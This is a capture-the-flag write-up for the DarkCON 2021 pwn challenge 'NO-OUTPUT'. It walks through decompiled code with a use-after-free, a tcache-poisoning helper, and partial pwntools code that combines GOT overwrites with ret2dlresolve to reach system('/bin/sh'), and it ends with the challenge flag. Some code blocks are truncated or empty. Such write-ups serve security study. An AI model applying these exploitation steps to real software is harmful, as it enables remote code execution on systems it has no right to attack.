Tags: pwnscripts ret2dlresolve tcache-poisoning

Rating: 3.5

# Pwn/NO-OUTPUT [495]


Ok !!! This challenge doesn't give any output. Now try to get the shell.
The libc has tcache enabled (not libc-2.32) and you don't require libc for this challenge at all. This challenge can be done without having libc. You don't need to guess or bruteforce libc.
connection: nc 13.233.166.242 49153


**Files**: [NO-Output.zip](https://darkc0n.blob.core.windows.net/challenges/NO-Output.zip) (NO_output)

c
\$ checksec NO_Output
[*] '/NO_Output'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)


## Figuring out what to do

The code for this challenge is structurally similar to that of [Warmup](Warmup.md), so we'll be inspecting the differences more closely.

init() does something weird:

c
void init() {
char s[24]; // [rsp+10h] [rbp-20h]
for (int i = 0; i <= 71; ++i) {
char c = fgetc(stdin);
if ( c == '\n' )
break;
s[i] = c;
}
}


This is clearly an overflow, but overflowing here will cause a stack protector failure. We'll probably need to jump back to here later to perform ROP for one reason or another.

main() now has 3 options: add(), edit(), and delete().

c
unsigned getIndex() {
int ind; // [rsp+Ch] [rbp-4h] BYREF
scanf("%d", &ind;; getchar();
if ( ind < 0 || ind > 15 )
exit(0);
return ind;
}
unsigned getValidSize() {
int sz; // [rsp+Ch] [rbp-4h] BYREF
scanf("%d", &sz); getchar();
if ( sz < 0 || sz > 4096 )
exit(0);
return sz;
}
int ind = getIndex();
int size = getValidSize();
chunks_len[ind] = size;
chunks[ind] = (char *)malloc(size);
for (int i = 0; ; ++i) {
if ( i >= chunks_len[ind] )
break;
char c = fgetc(stdin);
if ( c == '\n' )
break; // not nul-terminated!
chunks[ind][i] = c;
}
}


The first option allows for an arbitrary allocation of up to 4096 bytes. The bytes inputted don't get nul-terminated, but that isn't very significant here because of the lack of any string manipulation functions.

c
void edit() {
int ind = getIndex();
if ( !chunks[ind] )
exit(0);
for (int i = 0; ; ++i) {
if ( i >= chunks_len[ind] )
break;
char c = fgetc(stdin);
if ( c == '\n' )
break;
chunks[ind][i] = c;
}
return c;
}


edit() simply overwrites the first chunks_len[ind] bytes at chunks[ind]. This in-and-of-itself is not an issue, but combined with the bug here:

c
void delete() {
int ind = getIndex();
if ( !chunks[ind] )
exit(0);
free(chunks[ind]); // !!! chunks[ind] is not cleared !!!
}


We can make use of the UAF to [allocate an arbitrary pointer](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c) via the tcache free list.

python
def tcache_poison(size: int, ptr: int):
'''put an arbitrary ptr of a specific size at the head of the tcache free list'''
assert size < 0x400 # must be within tcache size
# We'll use the last indexes (14 & 15) for temporary storage
delete(14)
delete(15)
edit(15, pack(ptr))
# after here, the next call for malloc(size) will return ptr.


My immediate idea is to use this arbitrary write primitive to overwrite the GOT table, which would grant us arbitrary code execution... with the addresses we know.

As the title states, this challenge provides **no output**: PIE might be disabled, but there aren't any immediately useful functions available for leaking data. We'll need to obtain a shell without any information leaks.

I got stuck on this for a bit, up until I found an enlightening piece of metadata within IDA:

![image-20210220212611387](image-20210220212611387.png)

_Ah._

## ret2dlresolve

In essence, the ret2dlresolve technique is a leakless method for executing libc functions, given that the exploiter has the location of .text, along with a sufficiently long region for ROP. You can look up the finer details in writeups online, or you can [abuse pwntools](https://pwntools.readthedocs.io/en/dev/rop/ret2dlresolve.html) like I do.

In short, the solution here is to:

1. Use the UAF/Double-Free poisoning above to write dlresolve.payload to dlresolve.data_addr. Whatever those things are.

python


This is the rop.read(0, dlresolve.data_addr) step in the pwntools example.

2. With the same arbitrary write primitive, edit a good function to jump back to init() for an overflow, and also [**edit __stack_chk_fail() to a leave; ret; gadget**](http://wapiflapi.github.io/2014/11/17/hacklu-oreo-with-ret2dl-resolve.html).

python
R = ROP(context.binary)
tcache_poison(0x18, context.binary.got['free'])


Since free() is adjacent to __stack_chk_fail() in the GOT table, I used free() as that init() trampoline.

3. Use the ROP available at init() in conjunction with the [ret2dlresolve](https://pwntools.readthedocs.io/en/dev/rop/ret2dlresolve.html) module to call system("/bin/sh").

python
R.raw(b'a'*0x28)
R.ret2dlresolve(dlresolve)
delete(0) # trigger free(), which triggers init()
r.sendline(R.chain())
r.interactive()


That's that.

## Flag

darkCON{R3t_t0_dlr3s0lv3_c0mb1n1n9_w1th_tc4ch3_p01s0n1n9_4tt4ck}

Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/DarkCON%202021/NoOUTPUT.md).